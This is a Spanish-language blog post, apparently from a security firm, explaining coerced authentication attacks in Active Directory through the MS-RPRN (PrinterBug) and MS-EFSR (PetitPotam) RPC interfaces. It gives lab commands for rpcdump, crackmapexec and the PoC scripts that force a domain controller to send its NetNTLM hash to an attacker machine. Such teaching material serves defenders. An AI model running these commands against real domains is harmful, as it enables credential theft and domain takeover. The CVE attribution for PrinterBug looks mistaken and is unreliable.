Coerce | Parte 1


Dentro del entorno de Active Directory, los atacantes recurren a autenticaciones forzadas y estrategias de MitM para llevar a cabo diversas acciones. Es por ello por lo que, en esta ocasión, entraremos en el tema de Coerce Authentication. A lo largo de diferentes posts explicaremos las diferentes formas de realizar esta técnica, además de como enlazarlo con otros ataques para elevar privilegios en un dominio.

“Coerce authentication” es una técnica que, mediante las llamadas a los Remote Procedure Calls (RPC) de Windows, fuerza a un servicio a que se autentique contra una máquina. Mediante esta técnica, un atacante puede forzar a servidor vulnerable a autenticarse contra una máquina controlada por el atacante y de esta forma, llegar a obtener el hash de la contraseña de la cuenta de máquina en formato NetNTLM.

Una cuenta de máquina en redes Windows se refiere a una identidad única asociada a un dispositivo en la red. Las cuentas de máquina son esenciales para establecer la comunicación y la colaboración entre dispositivos dentro de un entorno de red con sistemas operativos Windows.

Una vez obtenido el hash de la cuenta de una máquina, se abren un abanico de posibles técnicas para poder aprovechar esta autenticación para suplantar a la víctima. Parte de la criticidad de esta técnica, radica en que una máquina es la víctima. Por ejemplo, si esta técnica es utilizada contra un controlador de dominio, es posible llegar a comprometer la totalidad del dominio, elevando así la criticidad de dicha técnica.

¿Qué es RPC?

RPC son las siglas de Remote Procedure Call (Llamada a Procedimiento Remoto) la cual, es una forma de comunicación entre procesos (IPC). Esta tecnología permite a las aplicaciones enviarse señales entre sí para realizar una operación.

En los entornos Windows, se hace un uso intensivo de RPC para muchos servicios diferentes, como la programación de tareas, la creación de servicios, la configuración de impresoras, configuración de recursos compartidos, la gestión de datos cifrados almacenados de forma remota, entre otros…

Debido a la naturaleza de RPC como vector remoto, atrae mucha atención desde el punto de vista de la seguridad informática.

Principales RPC Vulnerables 

A continuación, se procede a enumerar los principales RPC vulnerables conocidos para el uso de la técnica “Coerce Authentication”.

Cabe destacar que, para la explotación de dichos RPC, es necesario tener una cuenta de un usuario del domino valida, aunque en el caso del RPC conocido como MS-EFSR, es posible llegar a ejecutarlo sin un usuario.

Para este segundo caso, donde la explotación era de forma anónima, Microsoft sí que ha considerado esto una vulnerabilidad y ha sacado parches de seguridad para su corrección.

MS-RPRN

MS-RPRN es el Remote Procedure Call relacionado con el protocolo de sistema de impresión remoto. 

Print Spooler de Microsoft es un servicio que gestiona los trabajos de impresión y otras tareas relacionadas con la impresión. Un atacante que controle un usuario/ordenador de dominio puede, con una llamada RPC específica, activar el servicio spooler de un objetivo que lo esté ejecutando y hacer que se autentique en un objetivo elegido por el atacante. Este comportamiento está marcado como “Wont Fix” desde Microsoft y está habilitado por defecto en todos los entornos Windows.

Comprobación

Para comprobar si un RPC está habilitado en el equipo de la víctima, se puede hacer uso de la herramienta rpcdump de impacket:

Comando: python3 rpcdump.py @dc.corp.lab | grep ‘MS-RPRN’

  



Cabe destacar que existen más métodos para comprobar si dicho RPC está habilitado mediante otras herramientas y técnicas.

Explotación


Tras comprobar que el RPC denominado como “MS-RPRN” está habilitado en la víctima, además de haber comprometido un usuario del dominio mediante otras vías, se procederá a la explotación del mismo mediante una PoC denominada como Printer Bug o SpoolSample la cual tiene asignada el identificador CVE-2021-34527. 

Así mismo, para comprobar que se fuerza la autenticación correctamente, haremos uso del usuario “bob” con privilegios limitados en el dominio “dc.corp.lab”.

Comando: python3 printerbug.py “CORP/bob:<password> @dc.corp.lab” attack_machine

Ilustración 2 – Explotación satisfactoria de printerbug.



Tras la explotación de la vulnerabilidad, se ha obtenido el hash netNTLMv2 de la cuenta de máquina del controlador de dominio. 

Ilustración 3 – Obtención hash NetNTLM.


MS-EFSR


MS-EFSR es el Remote Procedure Call relacionado con el protocolo de sistema de cifrado de ficheros remoto. Realiza operaciones de mantenimiento y gestión de datos cifrados que se almacenan de forma remota y a los que se accede a través de una red y está disponible como interfaz RPC.
Cabe destacar que originalmente este RPC era explotable de forma anónima, sin necesidad de haber comprometido previamente una cuenta de usuario del dominio. Es por ello por lo que Microsoft sacó dos parches de seguridad, tanto el 10 de agosto de 2021, como el 10 de mayo de 2022, los cuales se encargan de arreglar la posibilidad de poder realizar esta técnica sin un usuario del dominio.

Comprobación


En este caso, haremos uso de la herramienta crackmapexec, actualmente conocida como netexec, a través de la ejecución del módulo “petitpotam”, para la comprobación de forma anónima de si el servidor es o no vulnerable:

Comando: crackmapexec smb dc.corp.lab -M petitpotam

Ilustración 4 – Domain Controler vulnerable.

Cabe destacar que existen más métodos para comprobar si dicho RPC está habilitado mediante otras herramientas y técnicas.

Explotación


Tras comprobar que el controlador de dominio es vulnerable de forma anónima, se procederá a la explotación de del mismo mediante una PoC denominada como Petit Potam la cual tiene asignada dos identificadores CVE-2021-36942 y CVE-2022-26925.

Para comprobar que se fuerza la autenticación de forma anónima, ejecutaremos la PoC dejando los parámetros de usuario (-u), contraseña (-p) y dominio (-d) vacíos.

Comando: python3 PetitPotam.py -u “” -p “” -d “” attack_machine dc.corp.lab

Ilustración 5 – Explotación satisfactoria de PetitPotam.

Se puede observar la captura del hash NetNTLM en la herramienta Responder.

Ilustración 7 – Obtención hash NetNTLM.


En futuras entregas continuaremos hablando de otros RPC vulnerables, ¡Hasta la próxima! ¡Agur!

Dimas Pastor, Senior Analyst en Grupo Zerolynx.